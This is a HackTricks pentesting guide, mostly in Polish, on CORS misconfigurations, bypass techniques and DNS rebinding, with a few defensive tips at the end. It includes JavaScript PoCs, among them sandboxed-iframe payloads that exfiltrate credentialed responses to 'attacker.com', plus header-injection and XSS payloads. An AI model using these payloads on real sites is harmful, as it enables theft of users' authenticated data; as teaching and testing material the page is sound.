CORS - Misconfigurations & Bypass

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym jest CORS?

Cross-Origin Resource Sharing (CORS) standard pozwala serwerom określić, kto może uzyskać dostęp do ich zasobów oraz które metody żądań HTTP są dozwolone z zewnętrznych źródeł.

Polityka same-origin wymaga, aby serwer żądający zasobu i serwer hostujący ten zasób miały ten sam protokół (np. http://), nazwę domeny (np. internal-web.com) oraz port (np. 80). Zgodnie z tą polityką, dostęp do zasobów mają tylko strony z tej samej domeny i portu.

Zastosowanie polityki same-origin w kontekście http://normal-website.com/example/example.html ilustruje się następująco:

URL accessedAccess permitted?
http://normal-website.com/example/Tak: Identyczny schemat, domena i port
http://normal-website.com/example2/Tak: Identyczny schemat, domena i port
https://normal-website.com/example/Nie: Różny schemat i port
http://en.normal-website.com/example/Nie: Różna domena
http://www.normal-website.com/example/Nie: Różna domena
http://normal-website.com:8080/example/Nie: Różny port*

*Internet Explorer pomija numer portu przy egzekwowaniu polityki same-origin, co pozwala na dostęp w tym przypadku.

Access-Control-Allow-Origin Header

Ten nagłówek może pozwalać na wiele originów, wartość null, lub wildcard *. Jednak żaden przeglądarka nie obsługuje wielu originów, a użycie wildcard * podlega ograniczeniom. (Wildcard musi być użyty samodzielnie, a jego stosowanie razem z Access-Control-Allow-Credentials: true nie jest dozwolone.)

Ten nagłówek jest wysyłany przez serwer w odpowiedzi na żądanie zasobu z innej domeny inicjowane przez stronę, a przeglądarka automatycznie dodaje nagłówek Origin.

Access-Control-Allow-Credentials Header

Domyślnie żądania cross-origin są wykonywane bez poświadczeń, takich jak cookies czy nagłówek Authorization. Jednakże serwer w innej domenie może zezwolić na odczyt odpowiedzi, gdy poświadczenia są wysyłane, ustawiając nagłówek Access-Control-Allow-Credentials na true.

Jeśli ustawione na true, przeglądarka prześle poświadczenia (cookies, nagłówki autoryzacyjne lub certyfikaty klienta TLS).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF — żądanie pre-flight

Zrozumienie żądań pre-flight w komunikacji międzydomenowej

Przy inicjowaniu żądania międzydomenowego w określonych warunkach, takich jak użycie niestandardowej metody HTTP (czegokolwiek innego niż HEAD, GET, POST), dodanie nowych nagłówków, lub zastosowanie specjalnej wartości nagłówka Content-Type, może być wymagane żądanie pre-flight. To wstępne żądanie, wykorzystujące metodę OPTIONS, służy do poinformowania serwera o zamiarach nadchodzącego żądania cross-origin, w tym o metodach HTTP i nagłówkach, które ma zamiar użyć.

Protokół Cross-Origin Resource Sharing (CORS) nakłada ten pre-flightowy check, aby określić wykonalność żądanej operacji cross-origin poprzez weryfikację dozwolonych metod, nagłówków oraz wiarygodności origin. Aby szczegółowo zrozumieć, jakie warunki sprawiają, że żądanie pre-flight nie jest wymagane, odwołaj się do obszernego przewodnika udostępnionego przez Mozilla Developer Network (MDN).

Warto zauważyć, że brak żądania pre-flight nie zwalnia z konieczności, aby odpowiedź zawierała nagłówki autoryzacyjne. Bez tych nagłówków, przeglądarka nie jest w stanie przetworzyć odpowiedzi z żądania cross-origin.

Rozważ następujący przykład żądania pre-flight mającego na celu użycie metody PUT wraz z niestandardowym nagłówkiem o nazwie Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

W odpowiedzi serwer może zwrócić nagłówki wskazujące akceptowane metody, dozwolony Origin oraz inne szczegóły polityki CORS, jak pokazano poniżej:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Ten nagłówek określa, które nagłówki mogą być użyte w rzeczywistym żądaniu. Ustawia go serwer, by wskazać dozwolone nagłówki w żądaniach od klienta.
  • Access-Control-Expose-Headers: Poprzez ten nagłówek serwer informuje klienta, które nagłówki mogą być ujawnione jako część odpowiedzi poza prostymi nagłówkami odpowiedzi.
  • Access-Control-Max-Age: Ten nagłówek wskazuje, jak długo wyniki żądania wstępnego (pre-flight) mogą być cachowane. Serwer ustala maksymalny czas, w sekundach, przez który informacje zwrócone przez żądanie wstępne mogą być ponownie użyte.
  • Access-Control-Request-Headers: Używany w żądaniach wstępnych, ten nagłówek jest ustawiany przez klienta, by poinformować serwer, które nagłówki HTTP klient zamierza użyć w rzeczywistym żądaniu.
  • Access-Control-Request-Method: Ten nagłówek, także używany w żądaniach wstępnych, jest ustawiany przez klienta, by wskazać, która metoda HTTP zostanie użyta w rzeczywistym żądaniu.
  • Origin: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania cross-origin. Jest używany przez serwer do oceny, czy przychodzące żądanie powinno zostać dozwolone lub odrzucone na podstawie polityki CORS.

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
Therefore, CORS doesn’t protect against CSRF (but it can be helpful).

Żądania sieci lokalnej — żądanie wstępne (pre-flight)

  1. Access-Control-Request-Local-Network: Ten nagłówek jest dołączany do żądania klienta, by oznaczyć, że zapytanie jest skierowane do zasobu w sieci lokalnej. Służy jako wskaźnik informujący serwer, że żądanie pochodzi z wnętrza sieci lokalnej.
  2. Access-Control-Allow-Local-Network: W odpowiedzi serwery używają tego nagłówka, aby zakomunikować, że żądany zasób może być udostępniony podmiotom spoza sieci lokalnej. Działa jak zielone światło do udostępniania zasobów między różnymi granicami sieci, zapewniając kontrolowany dostęp przy zachowaniu protokołów bezpieczeństwa.

A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Zwróć uwagę, że w linux adres IP 0.0.0.0 pozwala bypass tych wymagań, aby uzyskać dostęp do localhost, ponieważ ten adres IP nie jest traktowany jako “local”.

Można też bypass the Local Network requirements, jeśli użyjesz public IP address of a local endpoint (np. public IP routera). W wielu przypadkach, nawet jeśli public IP jest dostępny, jeśli żądanie pochodzi from the local network, dostęp zostanie przyznany.

Wildcards

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Przeglądarki tego nie pozwalają, więc poświadczenia nie będą wysyłane wraz z żądaniem w takim przypadku.

Wykorzystywalne błędy konfiguracji

Zaobserwowano, że ustawienie Access-Control-Allow-Credentials na true jest warunkiem wstępnym dla większości rzeczywistych ataków. To ustawienie pozwala przeglądarce wysyłać poświadczenia i odczytywać odpowiedź, zwiększając skuteczność ataku. Bez tego korzyść z wymuszenia przez przeglądarkę wysłania żądania zamiast wykonania go samodzielnie maleje, gdyż wykorzystanie ciasteczek użytkownika staje się nieosiągalne.

Wyjątek: Wykorzystanie lokalizacji sieci jako uwierzytelnienia

Istnieje wyjątek, gdy lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Umożliwia to użycie przeglądarki ofiary jako proxy, omijając uwierzytelnianie oparte na IP w celu dostępu do aplikacji intranetowych. Ta metoda ma podobny wpływ jak DNS rebinding, ale jest prostsza do wykorzystania.

Odbicie Origin w Access-Control-Allow-Origin

Scenariusz z rzeczywistego świata, w którym wartość nagłówka Origin jest odzwierciedlana w Access-Control-Allow-Origin, jest teoretycznie mało prawdopodobny z powodu ograniczeń dotyczących łączenia tych nagłówków. Jednak deweloperzy chcący włączyć CORS dla wielu adresów URL mogą dynamicznie generować nagłówek Access-Control-Allow-Origin, kopiując wartość nagłówka Origin. Takie podejście może wprowadzać luki, szczególnie gdy atakujący użyje domeny o nazwie zaprojektowanej tak, aby wyglądać na wiarygodną, przez co oszuka logikę walidacji.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Wykorzystywanie pochodzenia null

Pochodzenie null, stosowane w sytuacjach takich jak przekierowania lub lokalne pliki HTML, zajmuje szczególną pozycję. Niektóre aplikacje dodają to pochodzenie do białej listy, aby ułatwić rozwój lokalny, co nieumyślnie pozwala dowolnej stronie internetowej na podszywanie się pod null poprzez iframe w trybie sandbox, tym samym omijając ograniczenia CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Techniki obejścia wyrażeń regularnych

W przypadku napotkania białej listy domen, kluczowe jest testowanie możliwości obejścia, takich jak dołączenie domeny atakującego do domeny z białej listy lub wykorzystanie podatności na subdomain takeover. Dodatkowo wyrażenia regularne używane do walidacji domen mogą pomijać niuanse w konwencjach nazewnictwa domen, co stwarza kolejne możliwości obejścia.

Zaawansowane obejścia wyrażeń regularnych

Wzorce regex zazwyczaj koncentrują się na znakach alfanumerycznych, kropce (.) i łączniku (-), pomijając inne możliwości. Na przykład nazwa domeny skonstruowana tak, by zawierać znaki interpretowane inaczej przez przeglądarki i wzorce regex, może ominąć mechanizmy sprawdzające bezpieczeństwo. Obsługa znaku podkreślenia w subdomenach przez Safari, Chrome i Firefox ilustruje, jak takie rozbieżności można wykorzystać do obejścia logiki walidacji domen.

Więcej informacji i ustawień tego testu obejścia: https://www.corben.io/advanced-cors-techniques/ i https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Z XSS w subdomenie

Programiści często wdrażają mechanizmy obronne przeciwko wykorzystywaniu CORS, umieszczając domeny na białej liście, którym zezwala się na żądania. Pomimo tych środków bezpieczeństwo nie jest niezawodne. Nawet pojedyncza podatna subdomena wśród domen na białej liście może umożliwić wykorzystanie CORS poprzez inne luki, takie jak XSS (Cross-Site Scripting).

Aby to zilustrować, rozważ scenariusz, w którym domena requester.com jest umieszczona na białej liście, aby uzyskać dostęp do zasobów z innej domeny, provider.com. Konfiguracja po stronie serwera może wyglądać mniej więcej tak:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

W tej konfiguracji wszystkie subdomeny requester.com mają dostęp. Jednak jeśli subdomena, np. sub.requester.com, zostanie przejęta przez podatność XSS, atakujący może wykorzystać tę słabość. Na przykład atakujący mający dostęp do sub.requester.com mógłby wykorzystać podatność XSS, aby obejść polityki CORS i złośliwie uzyskać dostęp do zasobów na provider.com.

Znaki specjalne

PortSwigger’s URL validation bypass cheat sheet wykazał, że niektóre przeglądarki obsługują nietypowe znaki w nazwach domen.

Chrome i Firefox obsługują underscores _, które mogą ominąć regexes zaimplementowane do walidacji nagłówka Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari jest jeszcze mniej restrykcyjne przy akceptowaniu znaków specjalnych w nazwie domeny:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Inne zabawne sztuczki z URL

URL Format Bypass

Server-side cache poisoning

From this research

Możliwe, że poprzez wykorzystanie server-side cache poisoning za pomocą HTTP header injection można doprowadzić do stored Cross-Site Scripting (XSS) vulnerability. Scenariusz ten występuje, gdy aplikacja nie oczyszcza nagłówka Origin z niedozwolonych znaków, tworząc vulnerability szczególnie dla użytkowników Internet Explorer i Edge. Te przeglądarki traktują (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do HTTP header injection vulnerabilities.

Rozważ poniższe żądanie, w którym nagłówek Origin został zmanipulowany:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer i Edge interpretują odpowiedź jako:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Chociaż bezpośrednie wykorzystanie tej luki poprzez zmuszenie przeglądarki do wysłania niepoprawnego nagłówka nie jest wykonalne, spreparowane żądanie można ręcznie wygenerować przy pomocy narzędzi takich jak Burp Suite. Ta metoda może spowodować, że server-side cache zapisze odpowiedź i nieumyślnie będzie ją serwować innym. Spreparowany payload ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często powiązane z XSS ze względu na zdolność kodowania znaków w sposób, który w określonych kontekstach może zostać wykonany jako skrypt.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Uwaga: Eksploatacja HTTP header injection vulnerabilities, szczególnie poprzez server-side cache poisoning, podkreśla krytyczne znaczenie walidacji i sanitizacji wszystkich danych dostarczanych przez użytkownika, w tym HTTP headers. Zawsze stosuj solidny model bezpieczeństwa, który obejmuje walidację wejścia, aby zapobiegać takim podatnościom.

Client-Side cache poisoning

From this research

W tym scenariuszu zaobserwowano przypadek strony WWW odzwierciedlającej zawartość niestandardowego HTTP header bez właściwego kodowania. Konkretnie, strona zwraca z powrotem zawartość nagłówka X-User-id, który mógłby zawierać złośliwy JavaScript — w przykładzie nagłówek zawiera tag obrazu SVG zaprojektowany tak, by wykonać kod JavaScript podczas ładowania.

Cross-Origin Resource Sharing (CORS) policies pozwalają na wysyłanie custom headers. Jednak bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Kluczowy punkt pojawia się przy rozważaniu zachowania cache przeglądarki. Jeśli nagłówek Vary: Origin nie jest ustawiony, możliwe staje się zbuforowanie złośliwej odpowiedzi przez przeglądarkę. Następnie ta zbuforowana odpowiedź może być wyrenderowana bezpośrednio podczas nawigacji do URL, omijając konieczność bezpośredniego renderowania przy pierwotnym żądaniu. Ten mechanizm zwiększa wiarygodność ataku poprzez wykorzystanie client-side caching.

Aby zilustrować ten atak, dostarczono przykład JavaScript przeznaczony do uruchomienia w kontekście strony WWW, np. w JSFiddle. Skrypt wykonuje prostą czynność: wysyła żądanie do określonego URL z custom header zawierającym złośliwy JavaScript. Po pomyślnym wykonaniu żądania próbuje przejść do docelowego URL, co potencjalnie może wywołać wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zbuforowana bez właściwego obsłużenia nagłówka Vary: Origin.

Here’s a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Omijanie

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, also known as Cross-Site Script Inclusion, to typ podatności wykorzystujący fakt, że Same Origin Policy (SOP) nie ma zastosowania przy dołączaniu zasobów za pomocą tagu script. Wynika to z potrzeby możliwości dołączania skryptów z różnych domen. Ta podatność pozwala atakującemu na dostęp i odczytanie dowolnej zawartości dołączonej za pomocą tagu script.

Ta luka staje się szczególnie istotna w przypadku dynamicznego JavaScript lub JSONP, szczególnie gdy do uwierzytelniania używane są informacje o ambient-authority, takie jak cookies. Przy żądaniu zasobu z innego hosta cookies są dołączane, przez co stają się dostępne dla atakującego.

Aby lepiej zrozumieć i złagodzić tę podatność, można użyć wtyczki BurpSuite dostępnej pod adresem https://github.com/kapytein/jsonp. Ta wtyczka może pomóc zidentyfikować i naprawić potencjalne XSSI w aplikacjach webowych.

Read more about the difefrent types of XSSI and how to exploit them here.

Spróbuj dodać callback parameter w żądaniu. Może strona była przygotowana do wysłania danych jako JSONP. W takim przypadku strona zwróci dane z Content-Type: application/javascript, co obejdzie politykę CORS.

Easy (useless?) bypass

Jednym ze sposobów na obejście ograniczenia Access-Control-Allow-Origin jest poproszenie aplikacji webowej o wykonanie żądania w Twoim imieniu i odesłanie odpowiedzi. W tym scenariuszu poświadczenia końcowej ofiary nie będą jednak wysłane, ponieważ żądanie jest kierowane do innej domeny.

  1. CORS-escape: To narzędzie zapewnia proxy, które forwarduje Twoje żądanie wraz z jego nagłówkami, jednocześnie podszywając się pod Origin, aby pasował do żądanej domeny. To efektywnie omija politykę CORS. Oto przykład użycia z XMLHttpRequest:
  2. simple-cors-escape: To narzędzie oferuje alternatywne podejście do proxy. Zamiast przesyłać Twoje żądanie tak, jak jest, serwer wykonuje własne żądanie z określonymi parametrami.

Iframe + Popup Bypass

Możesz obejść CORS checks takie jak e.origin === window.origin poprzez utworzenie iframe i z niego otworzenie nowego okna. Więcej informacji na następującej stronie:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL to technika używana do obchodzenia niektórych mechanizmów zabezpieczeń przez manipulowanie rekordami DNS. Oto jak to działa:

  1. Atakujący tworzy stronę i powoduje, że ofiara ją odwiedza.
  2. Atakujący następnie zmienia DNS (IP) swojej własnej domeny, aby wskazywała na stronę ofiary.
  3. Przeglądarka ofiary buforuje odpowiedź DNS, która może mieć wartość TTL (Time to Live) określającą, jak długo rekord DNS powinien być uznawany za ważny.
  4. Gdy TTL wygaśnie, przeglądarka ofiary wykonuje nowe zapytanie DNS, umożliwiając atakującemu wykonanie kodu JavaScript na stronie ofiary.
  5. Utrzymując kontrolę nad IP ofiary, atakujący może zbierać informacje z ofiary bez wysyłania jakichkolwiek cookies do serwera ofiary.

Warto zaznaczyć, że przeglądarki mają mechanizmy cache’owania, które mogą uniemożliwić natychmiastowe wykorzystanie tej techniki, nawet przy niskich wartościach TTL.

DNS rebinding może być użyteczny do obchodzenia jawnych kontroli IP wykonywanych przez ofiarę lub w scenariuszach, gdy użytkownik lub bot pozostaje na tej samej stronie przez dłuższy czas, co pozwala na wygaśnięcie cache.

Jeśli potrzebujesz szybkiego sposobu na nadużycie DNS rebinding, możesz użyć usług takich jak https://lock.cmpxchg8b.com/rebinder.html.

Aby uruchomić własny serwer do DNS rebinding, możesz wykorzystać narzędzia takie jak DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Wymaga to wystawienia lokalnego portu 53/udp, stworzenia rekordu A wskazującego na niego (np. ns.example.com) oraz stworzenia rekordu NS wskazującego na wcześniej utworzony A subdomenę (np. ns.example.com). Każda subdomena ns.example.com będzie wtedy rozwiązywana przez twój host.

Możesz też zbadać publicznie działający serwer pod adresem http://rebind.it/singularity.html w celach edukacyjnych i eksperymentalnych.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding to kolejna technika używana do obejścia mechanizmu cache przeglądarki i wymuszenia drugiego zapytania DNS. Oto jak to działa:

  1. Początkowo, gdy ofiara wykonuje zapytanie DNS, otrzymuje odpowiedź z IP atakującego.
  2. Aby obejść obronę opartą na cache, atakujący wykorzystuje service workera. Service worker zatapia cache DNS, co faktycznie usuwa zbuforowaną nazwę serwera atakującego.
  3. Kiedy przeglądarka ofiary wykona drugie zapytanie DNS, otrzyma odpowiedź z adresem IP 127.0.0.1, który zazwyczaj odnosi się do localhost.

Poprzez zatopienie cache DNS za pomocą service workera, atakujący może manipulować procesem rozwiązywania DNS i wymusić na przeglądarce ofiary wykonanie drugiego zapytania, tym razem rozwiązującego nazwę na żądane przez atakującego IP.

DNS Rebinding via Cache

Inny sposób na obejście obrony cache to wykorzystanie wielu adresów IP dla tej samej subdomeny u dostawcy DNS. Oto jak to działa:

  1. Atakujący ustawia dwa rekordy A (lub pojedynczy rekord A z dwoma IP) dla tej samej subdomeny u dostawcy DNS.
  2. Gdy przeglądarka sprawdza te rekordy, otrzymuje oba adresy IP.
  3. Jeśli przeglądarka zdecyduje się użyć najpierw IP atakującego, atakujący może serwować payload wykonujący żądania HTTP do tej samej domeny.
  4. Jednak gdy atakujący uzyska IP ofiary, przestaje odpowiadać na żądania przeglądarki ofiary.
  5. Przeglądarka ofiary, stwierdzając, że domena jest nieodpowiadająca, przechodzi do użycia drugiego podanego IP.
  6. Dostęp do drugiego IP pozwala przeglądarce obejść Same Origin Policy (SOP), umożliwiając atakującemu nadużycie tego i zbieranie oraz exfiltrację informacji.

Technika ta wykorzystuje zachowanie przeglądarek, gdy dla domeny podane są wiele adresów IP. Poprzez strategiczną kontrolę odpowiedzi i manipulację wyborem adresu IP przez przeglądarkę, atakujący może wykorzystać SOP i uzyskać dostęp do informacji ofiary.

Warning

Uwaga: aby uzyskać dostęp do localhost powinieneś spróbować przypisać 127.0.0.1 w Windows i 0.0.0.0 w Linux.
Dostawcy tacy jak godaddy czy cloudflare nie pozwolili mi użyć adresu 0.0.0.0, ale AWS route53 pozwolił mi utworzyć jeden rekord A z 2 IP, z których jedno było “0.0.0.0”

Więcej informacji znajdziesz pod adresem https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Jeśli internal IPs aren’t allowed, możliwe że zapomnieli zablokować 0.0.0.0 (działa na Linux i Mac)
  • Jeśli internal IPs aren’t allowed, odpowiedz za pomocą CNAME do localhost (działa na Linux i Mac)
  • Jeśli internal IPs aren’t allowed jako odpowiedzi DNS, możesz odpowiedzieć CNAMEs do internal services takich jak www.corporate.internal.

DNS Rebidding Weaponized

Więcej informacji o poprzednich technikach omijania i jak używać poniższego narzędzia znajdziesz w prezentacji Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin to narzędzie do przeprowadzania DNS rebinding attacks. Zawiera niezbędne komponenty do rebindowania adresu IP nazwy DNS serwera atakującego na IP maszyny docelowej oraz do serwowania payloadów atakujących w celu wykorzystania podatnego oprogramowania na maszynie docelowej.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH po prostu tuneluje klasyczny format drutu DNS RFC1035 wewnątrz HTTPS (zwykle POST z Content-Type: application/dns-message). Resolver nadal odpowiada tymi samymi rekordami zasobów, więc techniki łamiące SOP nadal działają, nawet gdy przeglądarki rozwiązują hosta kontrolowanego przez atakującego przez TLS.

Key observations

  • Chrome (Windows/macOS) and Firefox (Linux) successfully rebind when configured for Cloudflare, Google, or OpenDNS DoH resolvers. Transport encryption neither delays nor blocks the attack-flow for first-then-second, multiple-answers, or DNS cache flooding strategies.
  • Public resolvers still see every query, but they rarely enforce the host-to-IP mapping a browser must honor. Once the authoritative server returns the rebinding sequence, the browser keeps the original origin tuple while connecting to the new IP.

Singularity strategies and timing over DoH

  • First-then-second remains the most reliable option: the first lookup returns the attacker IP that serves the payload, every later lookup returns the internal/localhost IP. With typical browser DNS caches this flips traffic in ~40–60 seconds, even when the recursive resolver is only reachable over HTTPS.
  • Multiple answers (fast rebinding) still reaches localhost in <3 seconds by answering with two A records (attacker IP + 0.0.0.0 on Linux/macOS or 127.0.0.1 on Windows) and programmatically blackholing the first IP (for example, iptables -I OUTPUT -d <attacker_ip> -j DROP) shortly after the page loads. Firefox’s DoH implementation may emit repeated DNS queries, so the Singularity fix is to schedule the firewall rule relative to the first query timestamp instead of refreshing the timer on every query.

Beating “rebind protection” in DoH providers

  • Some providers (e.g., NextDNS) replace private/loopback answers with 0.0.0.0, but Linux and macOS happily route that destination to local services. Intentionally returning 0.0.0.0 as the second record therefore still pivots the origin to localhost.
  • Filtering only the direct A/AAAA response is ineffective: returning a CNAME to an internal-only hostname makes the public DoH resolver forward the alias while browsers such as Firefox fall back to the system DNS for the internal zone, completing the resolution to a private IP that is still treated as the attacker origin.

Browser-specific DoH behavior

  • Firefox DoH operates in fallback mode: any DoH failure (including an unresolved CNAME target) triggers a plaintext lookup via the OS resolver, which is typically an enterprise DNS server that knows the internal namespace. This behavior is what makes the CNAME bypass reliable inside corporate networks.
  • Chrome DoH only activates when the OS DNS points to a whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, etc.) and does not provide the same fallback chain. Internal hostnames that only exist on corporate DNS therefore fail to resolve, but rebinding toward localhost or any routable address still succeeds because the attacker controls the entire response set.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS and provide the DoH endpoint (Cloudflare and NextDNS are built in). Chrome/Chromium: enable chrome://flags/#dns-over-https and configure the OS DNS servers to one of Chrome’s supported resolvers (e.g., 1.1.1.1/1.0.0.1).
  • You can query public DoH APIs directly, e.g. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq to confirm the exact records browsers will cache.
  • Intercepting DoH in Burp/ZAP still works because it is just HTTPS (binary DNS payload in the body). For packet-level inspection, export TLS keys (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) before launching the browser and let Wireshark decrypt the DoH sessions with the dns display filter to see when the browser stays on DoH or falls back to classic DNS.

Real Protection against DNS Rebinding

  • Use TLS in internal services
  • Request authentication to access data
  • Validate the Host header
  • https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks